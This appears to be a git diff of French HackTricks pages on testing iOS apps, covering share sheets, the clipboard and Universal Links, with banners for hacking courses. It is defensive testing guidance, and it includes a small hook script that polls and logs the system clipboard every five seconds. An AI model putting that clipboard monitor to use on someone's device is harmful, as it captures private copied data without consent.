<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# Partage UIActivity Simplifié
|
||||
# UIActivity Sharing Simplifié
|
||||
|
||||
À partir d'iOS 6, les applications tierces peuvent **partager des données** telles que du texte, des URL ou des images en utilisant des mécanismes tels qu'AirDrop, comme décrit dans le [guide de communication inter-applications d'Apple](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). Cette fonctionnalité se manifeste à travers une _feuille d'activité de partage_ à l'échelle du système qui apparaît lors de l'interaction avec le bouton "Partager".
|
||||
Depuis iOS 6, les applications tierces ont été autorisées à **partager des données** telles que du texte, des URL ou des images en utilisant des mécanismes comme AirDrop, comme décrit dans le [guide de communication inter-applications](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) d'Apple. Cette fonctionnalité se manifeste par une _feuille d'activité de partage_ à l'échelle du système qui apparaît lors de l'interaction avec le bouton "Partager".
|
||||
|
||||
Une énumération complète de toutes les options de partage intégrées est disponible sur [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Les développeurs peuvent choisir d'exclure des options de partage spécifiques s'ils les jugent inadaptées pour leur application.
|
||||
Une énumération complète de toutes les options de partage intégrées est disponible à [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Les développeurs peuvent choisir d'exclure certaines options de partage s'ils les jugent inappropriées pour leur application.
|
||||
|
||||
## **Comment Partager des Données**
|
||||
|
||||
|
@ -28,51 +29,52 @@ L'attention doit être portée sur :
|
|||
- L'inclusion d'activités personnalisées.
|
||||
- L'exclusion de certains types d'activités.
|
||||
|
||||
Le partage est facilité par l'instanciation d'un `UIActivityViewController`, auquel les éléments destinés au partage sont transmis. Cela est réalisé en appelant :
|
||||
Le partage est facilité par l'instanciation d'un `UIActivityViewController`, auquel les éléments destinés au partage sont passés. Cela est réalisé en appelant :
|
||||
```bash
|
||||
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
||||
0x1000df034 45 44 initWithActivityItems:applicationActivities:
|
||||
```
|
||||
Les développeurs doivent examiner l'`UIActivityViewController` pour les activités et les activités personnalisées avec lesquelles il est initialisé, ainsi que les `excludedActivityTypes` spécifiés.
|
||||
Les développeurs doivent examiner le `UIActivityViewController` pour les activités et les activités personnalisées avec lesquelles il est initialisé, ainsi que tout `excludedActivityTypes` spécifié.
|
||||
|
||||
## **Comment Recevoir des Données**
|
||||
|
||||
Les aspects suivants sont cruciaux lors de la réception de données :
|
||||
|
||||
- La déclaration des **types de documents personnalisés**.
|
||||
- La déclaration de **types de documents personnalisés**.
|
||||
- La spécification des **types de documents que l'application peut ouvrir**.
|
||||
- La vérification de **l'intégrité des données reçues**.
|
||||
- La vérification de l'**intégrité des données reçues**.
|
||||
|
||||
Sans accès au code source, on peut toujours inspecter l'`Info.plist` pour des clés comme `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations`, et `CFBundleDocumentTypes` pour comprendre les types de documents qu'une application peut gérer et déclarer.
|
||||
Sans accès au code source, on peut toujours inspecter le `Info.plist` pour des clés comme `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations`, et `CFBundleDocumentTypes` afin de comprendre les types de documents qu'une application peut gérer et déclarer.
|
||||
|
||||
Un guide succinct sur ces clés est disponible sur [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), mettant en avant l'importance de définir et importer des UTIs pour une reconnaissance à l'échelle du système et associer les types de documents avec votre application pour une intégration dans le dialogue "Ouvrir avec".
|
||||
Un guide succinct sur ces clés est disponible sur [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), soulignant l'importance de définir et d'importer des UTI pour une reconnaissance à l'échelle du système et d'associer des types de documents avec votre application pour l'intégration dans la boîte de dialogue "Ouvrir avec".
|
||||
|
||||
## Approche de Test Dynamique
|
||||
|
||||
Pour tester les **activités d'envoi**, on pourrait :
|
||||
Pour tester **l'envoi d'activités**, on pourrait :
|
||||
|
||||
- Accrocher la méthode `init(activityItems:applicationActivities:)` pour capturer les éléments et activités partagés.
|
||||
- S'accrocher à la méthode `init(activityItems:applicationActivities:)` pour capturer les éléments et les activités partagées.
|
||||
- Identifier les activités exclues en interceptant la propriété `excludedActivityTypes`.
|
||||
|
||||
Pour les **éléments reçus**, cela implique :
|
||||
Pour **recevoir des éléments**, cela implique :
|
||||
|
||||
- Partager un fichier avec l'application depuis une autre source (par exemple, AirDrop, email) qui déclenche le dialogue "Ouvrir avec...".
|
||||
- Accrocher `application:openURL:options:` parmi d'autres méthodes identifiées lors de l'analyse statique pour observer la réponse de l'application.
|
||||
- Partager un fichier avec l'application depuis une autre source (par exemple, AirDrop, email) qui invite à la boîte de dialogue "Ouvrir avec...".
|
||||
- S'accrocher à `application:openURL:options:` parmi d'autres méthodes identifiées lors de l'analyse statique pour observer la réponse de l'application.
|
||||
- Utiliser des fichiers malformés ou des techniques de fuzzing pour évaluer la robustesse de l'application.
|
||||
|
||||
## Références
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -19,38 +20,38 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
Le partage de données au sein et entre les applications sur les appareils iOS est facilité par le mécanisme [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), qui est divisé en deux catégories principales :
|
||||
|
||||
- **Presse-papiers général à l'échelle du système** : Il est utilisé pour partager des données avec **n'importe quelle application** et est conçu pour persister les données à travers les redémarrages de l'appareil et les désinstallations d'applications, une fonctionnalité disponible depuis iOS 10.
|
||||
- **Presse-papiers personnalisés / nommés** : Ceux-ci sont spécifiquement pour le partage de données **au sein d'une application ou avec une autre application** partageant le même ID d'équipe, et ne sont pas conçus pour persister au-delà de la durée de vie du processus d'application qui les crée, suite aux changements introduits dans iOS 10.
|
||||
- **Presse-papiers général à l'échelle du système** : Cela est utilisé pour partager des données avec **n'importe quelle application** et est conçu pour persister les données à travers les redémarrages de l'appareil et les désinstallations d'applications, une fonctionnalité disponible depuis iOS 10.
|
||||
- **Presse-papiers personnalisés / nommés** : Ceux-ci sont spécifiquement destinés au partage de données **au sein d'une application ou avec une autre application** qui partage le même identifiant d'équipe, et ne sont pas conçus pour persister au-delà de la durée du processus d'application qui les crée, suivant les changements introduits dans iOS 10.
|
||||
|
||||
Les **considérations de sécurité** jouent un rôle significatif lors de l'utilisation des presse-papiers. Par exemple :
|
||||
- Il n'existe aucun mécanisme permettant aux utilisateurs de gérer les autorisations d'application pour accéder au **presse-papiers**.
|
||||
- Pour atténuer le risque de surveillance non autorisée en arrière-plan du presse-papiers, l'accès est restreint lorsque l'application est à l'avant-plan (depuis iOS 9).
|
||||
- L'utilisation de presse-papiers nommés persistants est déconseillée au profit des conteneurs partagés en raison de préoccupations de confidentialité.
|
||||
- La fonctionnalité **Presse-papiers universel** introduite avec iOS 10, permettant le partage de contenu entre les appareils via le presse-papiers général, peut être gérée par les développeurs pour définir l'expiration des données et désactiver le transfert automatique de contenu.
|
||||
**Les considérations de sécurité** jouent un rôle significatif lors de l'utilisation des presse-papiers. Par exemple :
|
||||
- Il n'existe aucun mécanisme permettant aux utilisateurs de gérer les autorisations des applications pour accéder au **presse-papiers**.
|
||||
- Pour atténuer le risque de surveillance non autorisée en arrière-plan du presse-papiers, l'accès est restreint aux moments où l'application est au premier plan (depuis iOS 9).
|
||||
- L'utilisation de presse-papiers nommés persistants est découragée au profit de conteneurs partagés en raison de préoccupations en matière de confidentialité.
|
||||
- La fonctionnalité **Universal Clipboard** introduite avec iOS 10, permettant de partager du contenu entre les appareils via le presse-papiers général, peut être gérée par les développeurs pour définir l'expiration des données et désactiver le transfert automatique de contenu.
|
||||
|
||||
Il est crucial de s'assurer que les **informations sensibles ne sont pas stockées involontairement** sur le presse-papiers général. De plus, les applications doivent être conçues pour empêcher l'utilisation abusive des données du presse-papiers général pour des actions non intentionnelles, et les développeurs sont encouragés à mettre en place des mesures pour empêcher la copie d'informations sensibles dans le presse-papiers.
|
||||
Il est crucial de s'assurer que **les informations sensibles ne sont pas stockées par inadvertance** sur le presse-papiers global. De plus, les applications doivent être conçues pour empêcher l'utilisation abusive des données du presse-papiers global pour des actions non intentionnelles, et les développeurs sont encouragés à mettre en œuvre des mesures pour empêcher la copie d'informations sensibles dans le presse-papiers.
|
||||
|
||||
### Analyse statique
|
||||
|
||||
Pour l'analyse statique, recherchez le code source ou binaire pour :
|
||||
Pour l'analyse statique, recherchez dans le code source ou le binaire :
|
||||
- `generalPasteboard` pour identifier l'utilisation du **presse-papiers général à l'échelle du système**.
|
||||
- `pasteboardWithName:create:` et `pasteboardWithUniqueName` pour la création de **presse-papiers personnalisés**. Vérifiez si la persistance est activée, bien que cela soit obsolète.
|
||||
- `pasteboardWithName:create:` et `pasteboardWithUniqueName` pour créer des **presse-papiers personnalisés**. Vérifiez si la persistance est activée, bien que cela soit obsolète.
|
||||
|
||||
### Analyse dynamique
|
||||
|
||||
L'analyse dynamique implique l'accrochage ou le traçage de méthodes spécifiques :
|
||||
- Surveiller `generalPasteboard` pour l'utilisation à l'échelle du système.
|
||||
- Traquer `pasteboardWithName:create:` et `pasteboardWithUniqueName` pour les implémentations personnalisées.
|
||||
- Observer les appels de méthode obsolètes `setPersistent:` pour vérifier les paramètres de persistance.
|
||||
L'analyse dynamique implique de brancher ou de tracer des méthodes spécifiques :
|
||||
- Surveillez `generalPasteboard` pour une utilisation à l'échelle du système.
|
||||
- Tracez `pasteboardWithName:create:` et `pasteboardWithUniqueName` pour des implémentations personnalisées.
|
||||
- Observez les appels de méthode obsolètes `setPersistent:` pour vérifier les paramètres de persistance.
|
||||
|
||||
Les détails clés à surveiller comprennent :
|
||||
- **Noms** et **contenus** du presse-papiers (par exemple, vérifier les chaînes, les URL, les images).
|
||||
- **Nombre d'éléments** et **types de données** présents, en exploitant les vérifications de types de données standard et personnalisées.
|
||||
- Les options d'**expiration et de local-only** en inspectant la méthode `setItems:options:`.
|
||||
Les détails clés à surveiller incluent :
|
||||
- **Noms de presse-papiers** et **contenus** (par exemple, vérifier les chaînes, les URL, les images).
|
||||
- **Nombre d'éléments** et **types de données** présents, en utilisant des vérifications de types de données standard et personnalisés.
|
||||
- **Options d'expiration et locales uniquement** en inspectant la méthode `setItems:options:`.
|
||||
|
||||
Un exemple d'utilisation d'outil de surveillance est le **moniteur de presse-papiers d'objection**, qui interroge le generalPasteboard toutes les 5 secondes pour les changements et affiche les nouvelles données.
|
||||
Un exemple d'utilisation d'outil de surveillance est le **moniteur de presse-papiers d'objection**, qui interroge le generalPasteboard toutes les 5 secondes pour détecter les changements et affiche les nouvelles données.
|
||||
|
||||
Voici un exemple de script JavaScript simple, inspiré de l'approche d'objection, pour lire et journaliser les changements du presse-papiers toutes les 5 secondes :
|
||||
Voici un exemple simple de script JavaScript, inspiré de l'approche d'objection, pour lire et enregistrer les changements du presse-papiers toutes les 5 secondes :
|
||||
```javascript
|
||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||
|
@ -85,16 +86,17 @@ console.log(items);
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# Liens universels iOS
|
||||
# iOS Universal Links
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Introduction
|
||||
|
||||
Les liens universels offrent une expérience de **redirection transparente** aux utilisateurs en ouvrant directement le contenu dans l'application, contournant ainsi le besoin de redirection vers Safari. Ces liens sont **uniques** et sécurisés, car ils ne peuvent pas être revendiqués par d'autres applications. Cela est assuré en hébergeant un fichier JSON `apple-app-site-association` dans le répertoire racine du site web, établissant un lien vérifiable entre le site web et l'application. Dans les cas où l'application n'est pas installée, Safari prendra le relais et dirigera l'utilisateur vers la page web, maintenant ainsi la présence de l'application.
|
||||
Les liens universels offrent une **expérience de redirection fluide** aux utilisateurs en ouvrant directement le contenu dans l'application, contournant ainsi la nécessité d'une redirection Safari. Ces liens sont **uniques** et sécurisés, car ils ne peuvent pas être revendiqués par d'autres applications. Cela est assuré par l'hébergement d'un fichier JSON `apple-app-site-association` dans le répertoire racine du site web, établissant un lien vérifiable entre le site web et l'application. Dans les cas où l'application n'est pas installée, Safari prendra le relais et dirigera l'utilisateur vers la page web, maintenant ainsi la présence de l'application.
|
||||
|
||||
Pour les testeurs de pénétration, le fichier `apple-app-site-association` est d'un intérêt particulier car il peut révéler des **chemins sensibles**, potentiellement liés à des fonctionnalités non publiées.
|
||||
Pour les testeurs de pénétration, le fichier `apple-app-site-association` est d'un intérêt particulier car il peut révéler des **chemins sensibles**, pouvant inclure ceux liés à des fonctionnalités non publiées.
|
||||
|
||||
### **Analyse de l'autorisation des domaines associés**
|
||||
### **Analyzing the Associated Domains Entitlement**
|
||||
|
||||
Les développeurs activent les liens universels en configurant les **Domaines associés** dans l'onglet Capacités de Xcode ou en inspectant le fichier `.entitlements`. Chaque domaine est préfixé par `applinks:`. Par exemple, la configuration de Telegram pourrait apparaître comme suit:
|
||||
Les développeurs activent les liens universels en configurant les **Domaines Associés** dans l'onglet Capacités de Xcode ou en inspectant le fichier `.entitlements`. Chaque domaine est préfixé par `applinks:`. Par exemple, la configuration de Telegram pourrait apparaître comme suit :
|
||||
```xml
|
||||
<key>com.apple.developer.associated-domains</key>
|
||||
<array>
|
||||
|
@ -32,21 +33,21 @@ Les développeurs activent les liens universels en configurant les **Domaines as
|
|||
<string>applinks:t.me</string>
|
||||
</array>
|
||||
```
|
||||
Pour des informations plus complètes, consultez la [Documentation des développeurs Apple archivée](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
||||
Pour des informations plus complètes, consultez la [documentation Apple Developer archivée](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
||||
|
||||
Si vous travaillez avec une application compilée, les autorisations peuvent être extraites comme décrit dans [ce guide](extracting-entitlements-from-compiled-application.md).
|
||||
Si vous travaillez avec une application compilée, les droits peuvent être extraits comme indiqué dans [ce guide](extracting-entitlements-from-compiled-application.md).
|
||||
|
||||
### **Récupération du fichier Apple App Site Association**
|
||||
|
||||
Le fichier `apple-app-site-association` doit être récupéré depuis le serveur en utilisant les domaines spécifiés dans les autorisations. Assurez-vous que le fichier est accessible via HTTPS directement à `https://<domain>/apple-app-site-association`. Des outils comme le [Validateur de l'Association de Site d'Application Apple (AASA)](https://branch.io/resources/aasa-validator/) peuvent aider dans ce processus.
|
||||
Le fichier `apple-app-site-association` doit être récupéré depuis le serveur en utilisant les domaines spécifiés dans les droits. Assurez-vous que le fichier est accessible via HTTPS directement à `https://<domain>/apple-app-site-association`. Des outils comme le [validateur Apple App Site Association (AASA)](https://branch.io/resources/aasa-validator/) peuvent aider dans ce processus.
|
||||
|
||||
### **Gestion des Liens Universels dans l'Application**
|
||||
### **Gestion des liens universels dans l'application**
|
||||
|
||||
L'application doit implémenter des méthodes spécifiques pour gérer correctement les liens universels. La méthode principale à rechercher est [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Il est crucial que le schéma des URL traitées soit HTTP ou HTTPS, car les autres ne seront pas pris en charge.
|
||||
L'application doit implémenter des méthodes spécifiques pour gérer correctement les liens universels. La méthode principale à rechercher est [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Il est crucial que le schéma des URL gérées soit HTTP ou HTTPS, car d'autres ne seront pas prises en charge.
|
||||
|
||||
#### **Validation de la Méthode de Gestion des Données**
|
||||
#### **Validation de la méthode de gestion des données**
|
||||
|
||||
Lorsqu'un lien universel ouvre une application, un objet `NSUserActivity` est transmis à l'application avec l'URL. Avant de traiter cette URL, il est essentiel de la valider et de la nettoyer pour éviter les risques de sécurité. Voici un exemple en Swift qui illustre le processus :
|
||||
Lorsqu'un lien universel ouvre une application, un objet `NSUserActivity` est passé à l'application avec l'URL. Avant de traiter cette URL, il est essentiel de la valider et de la nettoyer pour éviter les risques de sécurité. Voici un exemple en Swift qui démontre le processus :
|
||||
```swift
|
||||
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
|
||||
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
||||
|
@ -58,7 +59,7 @@ application.open(url, options: [:], completionHandler: nil)
|
|||
return true
|
||||
}
|
||||
```
|
||||
Les URL doivent être soigneusement analysées et validées, surtout si elles incluent des paramètres, pour se prémunir contre d'éventuelles usurpations ou données malformées. L'API `NSURLComponents` est utile à cette fin, comme le montre l'exemple ci-dessous :
|
||||
Les URL doivent être soigneusement analysées et validées, surtout si elles incluent des paramètres, pour se protéger contre un éventuel spoofing ou des données malformées. L'API `NSURLComponents` est utile à cet effet, comme démontré ci-dessous :
|
||||
```swift
|
||||
func application(_ application: UIApplication,
|
||||
continue userActivity: NSUserActivity,
|
||||
|
@ -84,28 +85,26 @@ return false
|
|||
}
|
||||
}
|
||||
```
|
||||
À travers une **configuration et validation diligente**, les développeurs peuvent s'assurer que les liens universels améliorent l'expérience utilisateur tout en respectant les normes de sécurité et de confidentialité.
|
||||
|
||||
À travers une **configuration et validation diligentes**, les développeurs peuvent s'assurer que les liens universels améliorent l'expérience utilisateur tout en maintenant des normes de sécurité et de confidentialité.
|
||||
|
||||
## Outils
|
||||
* [GetUniversal.link](https://getuniversal.link/): Aide à simplifier le test et la gestion des liens universels de votre application et du fichier AASA. Il suffit d'entrer votre domaine pour vérifier l'intégrité du fichier AASA ou d'utiliser le tableau de bord personnalisé pour tester facilement le comportement du lien. Cet outil vous aide également à déterminer quand Apple indexera votre fichier AASA.
|
||||
